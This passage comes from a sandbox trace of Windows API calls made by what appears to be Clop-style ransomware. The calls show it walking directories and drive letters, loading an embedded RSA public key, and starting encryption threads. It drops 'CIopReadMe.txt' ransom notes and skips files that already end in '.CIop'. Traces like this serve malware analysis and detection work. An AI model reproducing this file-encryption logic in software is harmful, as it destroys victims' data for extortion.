lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.352] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0128.352] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.352] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.352] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.352] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.352] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.352] lstrlenW (lpString="desktop.ini") returned 11 [0128.352] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.352] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.352] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.352] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0128.352] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0128.352] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.352] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0128.352] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.352] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.353] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.353] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.353] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.353] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.353] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.353] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.353] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0128.353] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0128.353] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.353] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.353] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0128.353] SetErrorMode (uMode=0x1) returned 0x1 [0128.353] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0128.353] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0128.353] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0128.353] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0128.353] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.353] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0128.353] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.353] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.353] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.353] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.353] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.353] lstrlenW (lpString="desktop.ini") returned 11 [0128.353] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.353] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.353] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.354] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0128.354] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0128.354] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.354] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0128.354] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.354] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.354] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.354] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.354] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.354] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.354] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.354] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.354] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.354] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.354] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.354] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.354] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0128.355] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.355] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0128.355] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0128.355] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.355] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.355] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0128.355] SetErrorMode (uMode=0x1) returned 0x1 [0128.355] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0128.355] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0128.355] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0128.355] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0128.355] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0128.355] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0128.355] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0128.355] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.355] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0128.355] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0128.355] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.355] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0128.355] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0128.355] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.355] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0128.355] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0128.355] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0128.355] Sleep (dwMilliseconds=0x493e0) [0138.359] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0138.359] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0138.359] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0138.359] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0138.360] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0138.360] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0138.360] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0138.360] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0138.360] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0138.360] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0138.361] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0138.361] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0138.361] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0138.362] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0138.362] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0138.362] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0138.363] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0138.363] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0138.363] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0138.363] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0138.364] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0138.364] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0138.364] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0138.364] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0138.365] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0138.365] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0138.365] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0138.365] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0138.366] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0138.366] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0138.366] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0138.367] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0138.367] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0138.367] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0138.368] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0138.368] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0138.368] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0138.368] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0138.369] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0138.369] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0138.369] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0138.369] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0138.370] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0138.370] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0138.370] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0138.370] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0138.371] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0138.371] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0138.371] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0138.371] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0138.372] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0138.372] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0138.372] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0138.373] SetErrorMode (uMode=0x1) returned 0x1 [0138.373] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.373] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.373] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0138.373] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0138.374] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e6b8 [0138.374] PathFindFileNameW (pszPath="C:") returned="C:" [0138.375] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.375] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.375] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.375] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0138.375] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0138.375] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0138.375] Sleep (dwMilliseconds=0xd) [0138.390] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0138.390] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0138.390] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0138.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0138.391] SetErrorMode (uMode=0x1) returned 0x1 [0138.391] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0138.391] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0138.391] CloseHandle (hObject=0x670) returned 1 [0138.391] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.391] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0138.391] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0138.391] lstrlenW (lpString=".CIop") returned 5 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0138.392] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0138.392] lstrlenW (lpString="bootsect.bak") returned 12 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.392] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.392] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0138.392] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0138.392] lstrlenW (lpString=".sys") returned 4 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0138.392] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0138.392] lstrlenW (lpString=".sys") returned 4 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.392] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0138.393] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0138.393] lstrlenW (lpString=".sys") returned 4 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.393] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0138.393] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.393] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.393] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.394] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0138.394] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e378 [0138.394] PathFindFileNameW (pszPath="C:") returned="C:" [0138.394] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.394] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.394] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.394] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0138.394] SetErrorMode (uMode=0x1) returned 0x1 [0138.394] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0138.394] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0138.394] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0138.394] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0138.394] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.395] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0138.395] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0138.395] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.395] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0138.395] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0138.395] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0138.395] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0138.395] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0138.395] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.395] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.396] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0138.396] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0138.396] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.396] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.396] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0138.396] SetErrorMode (uMode=0x1) returned 0x1 [0138.396] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0138.396] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0138.396] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0138.396] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0138.396] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.396] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0138.396] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0138.396] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.396] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0138.396] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0138.397] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0138.397] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0138.397] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0138.397] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.397] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0138.397] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0138.397] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.397] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.397] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0138.397] SetErrorMode (uMode=0x1) returned 0x1 [0138.397] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | 